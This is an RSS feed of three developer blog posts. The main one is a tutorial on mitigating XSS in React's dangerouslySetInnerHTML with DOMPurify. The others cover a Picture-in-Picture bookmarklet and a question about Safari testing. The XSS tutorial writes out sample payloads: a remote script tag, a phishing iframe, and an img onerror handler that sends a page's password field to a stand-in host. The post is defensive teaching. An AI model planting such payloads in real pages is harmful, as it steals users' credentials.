<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Tim Bryan</title>
    <description>The latest articles on DEV Community by Tim Bryan (@timbryandev).</description>
    <link>https://dev.to/timbryandev</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F82146%2Fe9dae74b-d1a4-4da5-ae38-4f94f45048e4.png</url>
      <title>DEV Community: Tim Bryan</title>
      <link>https://dev.to/timbryandev</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/timbryandev"/>
    <language>en</language>
    <item>
      <title>Mitigate XSS exploits when using React's `dangerously SetInnerHTML`</title>
      <dc:creator>Tim Bryan</dc:creator>
      <pubDate>Thu, 12 Sep 2024 15:54:26 +0000</pubDate>
      <link>https://dev.to/timbryandev/mitigate-xss-exploits-when-using-reacts-dangerouslysetinnerhtml-41pf</link>
      <guid>https://dev.to/timbryandev/mitigate-xss-exploits-when-using-reacts-dangerouslysetinnerhtml-41pf</guid>
      <description>&lt;p&gt;&lt;small&gt;Cover image by &lt;a href="https://unsplash.com/@lautaroandreani?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText" rel="noopener noreferrer"&gt;Lautaro Andreani&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL: DR;&lt;/strong&gt; Blinding dumping content into &lt;code&gt;dangerously​SetInnerHTML&lt;/code&gt; is exactly that - dangerous. Make sure you are sanitising any input you pass to dangerously​SetInnerHTML unless you have explicit control of the input.&lt;/p&gt;

&lt;p&gt;The following component serves as a simple example of mitigating the risk of an XSS attack via dangerously​SetInnerHTML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;//https://github.com/cure53/DOMPurify&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dompurify&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sanitize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dirty&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dirty&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;DangerousHtml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;innerHTML&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;tag&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;clean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;tag&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;dangerouslySetInnerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;__html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;clean&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;tag&lt;/span&gt; &lt;span class="na"&gt;dangerouslySetInnerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;__html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;clean&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;DangerousHtml&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By using our bespoke &lt;code&gt;DangerousHtml&lt;/code&gt; component, we can dramatically reduce the risk of an XSS exploit as we're sanitising our input before it gets to the actual &lt;code&gt;dangerously​SetInnerHTML&lt;/code&gt; prop&lt;/p&gt;

&lt;p&gt;&lt;code&gt;DOMPurify&lt;/code&gt; is highly configurable too, so it might be the case that you want to have multiple components like our example to handle specific use cases or allow some of the below examples explicitly.&lt;/p&gt;

&lt;p&gt;Below are some brief examples of how the exploits could take place:&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting iFrame and Script Tags
&lt;/h2&gt;

&lt;p&gt;XSS is possible as React will not strip out the script tag which points to a malicious payload.&lt;/p&gt;

&lt;p&gt;We really shouldn't be passing iFrames in this way either. Rather, we should pass the URL and any other "safe" attributes as a props and render it ourselves in an iFrame tag to retain control of it's rendering ability's and source, or have a dedicated iFrame component.&lt;/p&gt;

&lt;p&gt;For example, consider rhe following malicious markup that we've received from an API request. If we blindly set it via &lt;em&gt;dangerously​SetInnerHTML&lt;/em&gt;, we'll give the user this output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Bad markup going in&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;
  &lt;span class="na"&gt;dangerouslySetInnerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;__html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;p&amp;gt;
  Hi
  &amp;lt;script src="https://example.com/malicious-tracking"&amp;gt;&amp;lt;/script&amp;gt;
  Fiona, here is the link to enter your bank details:
  &amp;lt;iframe src="https://example.com/defo-not-the-actual-bank"&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/p&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Bad markup rendered on the DOM --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;
    Hi
    &lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://example.com/malicious-tracking"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    Fiona, here is the link to enter your bank details:
    &lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://example.com/defo-not-the-actual-bank"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, using our DangerousHTML component instead, means that we have mitigated most of the risk the user may have faced:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Bad markup going in&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;DangerousHtml&lt;/span&gt;
  &lt;span class="na"&gt;innerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;`&amp;lt;p&amp;gt;
  Hi
  &amp;lt;script src="https://example.com/malicious-tracking"&amp;gt;&amp;lt;/script&amp;gt;
  Fiona, here is the link to enter your bank details:
  &amp;lt;iframe src="https://example.com/defo-not-the-actual-bank"&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/p&amp;gt;`&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Clean markup rendered on the DOM --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Hi Fiona, here is the link to enter your bank details:&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fiona may think that the website is broken or missing content for some reason - but this is still better than being phished for their bank details!&lt;/p&gt;

&lt;h2&gt;
  
  
  Attribute manipulation/poisoning
&lt;/h2&gt;

&lt;p&gt;Some DOM elements have special attributes that we can abuse that we should protect ourselves against.&lt;/p&gt;

&lt;p&gt;In this example, we can run some JS on an &lt;code&gt;&amp;lt;image&amp;gt;&lt;/code&gt; tag's &lt;code&gt;onerror&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For example, given the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Bad markup going in&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;
  &lt;span class="na"&gt;dangerouslySetInnerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;__html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
&amp;lt;p&amp;gt;
  Hola
  &amp;lt;img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  /&amp;gt;
  Sharon
&amp;lt;/p&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Bad markup rendered on the DOM --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;
    Hola
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt;
      &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"none.png"&lt;/span&gt;
      &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;'fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'&lt;/span&gt;
    &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    Sharon
  &lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this instance, our poisoned markup is stealing data from the DOM when the image request eventually fails and the user will never even know.&lt;/p&gt;

&lt;p&gt;We can mitigate this again with our DangerousHtml component&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Bad markup going in&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;DangerousHtml&lt;/span&gt;
  &lt;span class="na"&gt;innerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;`
&amp;lt;p&amp;gt;
  Hola
  &amp;lt;img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  /&amp;gt;
  Sharon
&amp;lt;/p&amp;gt;`&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Clean markup rendered on the DOM --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;
    Hola
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"none.png"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    Sharon
  &lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Given the argument that we may genuinely want to execute some JS to show a fallback image, we should again not be trusting raw, unsanitized HTML to do this for us and would be better served either having a &lt;code&gt;fallbackImageURL&lt;/code&gt; or &lt;code&gt;onError&lt;/code&gt; prop that we can explicitly add to our image tag like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Usual imports&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MyImageComponent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;fallbackUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Usual component setup&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;displayFallbackImage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// If there is no fallback, do nothing&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;fallbackUrl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// set the url to the fallbackUrl&lt;/span&gt;
    &lt;span class="nx"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fallbackUrl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt;
      &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
      &lt;span class="na"&gt;onerror&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;displayFallbackImage&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
      &lt;span class="c1"&gt;// ... any other props&lt;/span&gt;
    &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;&lt;small&gt;Original article: &lt;a href="https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml" rel="noopener noreferrer"&gt;https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>react</category>
      <category>xxs</category>
      <category>security</category>
    </item>
    <item>
      <title>Create your own Picture-In-Picture video feature bookmarklet</title>
      <dc:creator>Tim Bryan</dc:creator>
      <pubDate>Wed, 04 Sep 2024 07:34:42 +0000</pubDate>
      <link>https://dev.to/timbryandev/create-your-own-picture-in-picture-video-feature-bookmarklet-3olo</link>
      <guid>https://dev.to/timbryandev/create-your-own-picture-in-picture-video-feature-bookmarklet-3olo</guid>
      <description>&lt;p&gt;&lt;small&gt;Cover image by &lt;a href="https://unsplash.com/@charlesdeluvio?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText" rel="noopener noreferrer"&gt;charlesdeluvio&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;Some websites &amp;amp; video streaming services have a feature that allows you to watch videos in Picture-in-Picture mode, but they lock this feature behind some kind of paywall or make it a perk of having a subscription.&lt;/p&gt;

&lt;p&gt;Some websites just don't have this feature altogether!&lt;/p&gt;

&lt;p&gt;I find this infuriating, as this is a feature that is built into all modern web browsers and is free to use for those who know how to do it with no special effort, purchases, plugins or hack.&lt;/p&gt;

&lt;p&gt;Here's how to do it:&lt;/p&gt;

&lt;h2&gt;
  
  
  Option 1 - Enter the code via your web browsers dev tools
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Open your web browser's dev tools ( usually press F12 key / right-click &amp;amp; choose Inspect Element)&lt;/li&gt;
&lt;li&gt;Go to the Console tab&lt;/li&gt;
&lt;li&gt;Paste the following code:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// find the video element (may not work on sites with multiple video elements, but works for most of the main sites)&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;vid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;video&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// remove the attribute that might stop us from launching the video in PiP&lt;/span&gt;
&lt;span class="nx"&gt;vid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;disablePictureInPicture&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// finally, request the PiP&lt;/span&gt;
&lt;span class="nx"&gt;vid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;requestPictureInPicture&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All being well, you should now have the video pop-out. If not, you may need to tweak &lt;code&gt;document.querySelector("video")&lt;/code&gt; to select a specific video element on the page.&lt;/p&gt;

&lt;h2&gt;
  
  
  Option 2 - Create a Bookmark button to launch PiP
&lt;/h2&gt;

&lt;p&gt;This code is the same as the example in Option 1, but stripped down to one line to one line so it can be executed as a URL.&lt;/p&gt;

&lt;p&gt;To use it, simply:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Select all of the following and drag and drop into your browser's bookmarks bar, or&lt;/li&gt;
&lt;li&gt;Create a new bookmark called PiP and paste the following as the bookmark's URL:
&lt;code&gt;javascript: var vid=document.querySelector('video');vid.removeAttribute('disablePictureInPicture');vid.requestPictureInPicture();&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Click the bookmark to launch PiP&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How does a "Bookmarklet" work?
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;A bookmark normally takes you to a new web page. A bookmarklet is a bookmark that runs javascript on the current page instead of taking you to a new page. To declare that it is a bookmarklet, the "location" it points to starts with javascript:.&lt;/p&gt;

&lt;p&gt;— &lt;a href="https://gist.github.com/caseywatts/c0cec1f89ccdb8b469b1" rel="noopener noreferrer"&gt;caseywatts&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The magic here, is the addition of &lt;code&gt;javascript&lt;/code&gt; to the beginning of the URL. This tells the browser to perform an action on the current page, rather than taking you to a new page.&lt;/p&gt;

&lt;p&gt;For more info on bookmarklets and getting more creative with them, see this great explanation from &lt;a href="https://gist.github.com/caseywatts" rel="noopener noreferrer"&gt;@caseywatts&lt;/a&gt; on &lt;a href="https://gist.github.com/caseywatts/c0cec1f89ccdb8b469b1" rel="noopener noreferrer"&gt;Making Bookmarklets&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;&lt;small&gt;Original article: &lt;a href="https://timbryandev.dev/posts/free-picture-in-picture" rel="noopener noreferrer"&gt;https://timbryandev.dev/posts/free-picture-in-picture&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>bookmarklet</category>
      <category>video</category>
      <category>learning</category>
    </item>
    <item>
      <title>Developing for Safari on Windows 10/Linux</title>
      <dc:creator>Tim Bryan</dc:creator>
      <pubDate>Mon, 28 Sep 2020 14:43:26 +0000</pubDate>
      <link>https://dev.to/timbryandev/developing-for-safari-on-windows-10-2d9</link>
      <guid>https://dev.to/timbryandev/developing-for-safari-on-windows-10-2d9</guid>
      <description>&lt;p&gt;Hi all, &lt;/p&gt;

&lt;p&gt;This is my first post - so go easy on me! 😇&lt;/p&gt;

&lt;p&gt;TL: DR; My queries boil down to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Does anyone have any advice for supporting/developing for Safari users when you only have access to a Windows 10 or Linux machine? &lt;/li&gt;
&lt;li&gt;What tools/services do you use? &lt;/li&gt;
&lt;li&gt;Are they free/reasonably priced? &lt;/li&gt;
&lt;li&gt;Is the only option to invest in something with MacOS/iOS in order to support them properly?&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;I'm a long time Windows user with some experience in Linux. I've been doing web development for 6 years and have lots of experience on cross-browser support for IE, Edge, Chrome, Firefox but with not having access to any Apple devices, I've never been able to guarantee functionality or aesthetics for those users.&lt;/p&gt;

&lt;p&gt;I'm currently working on a web-based product for a customer that is focused around iOS users and feel that this would be a great opportunity to test and verify things for our users - the problem is I don't have any devices that can run Safari.&lt;/p&gt;

&lt;p&gt;I'm reaching out to see if anyone has any useful tools, knowledge or secrets they can share with me to help overcome this issue and thank you in advance to anyone who contributes! 🙌&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>windows</category>
      <category>safari</category>
      <category>ios</category>
    </item>
  </channel>
</rss>
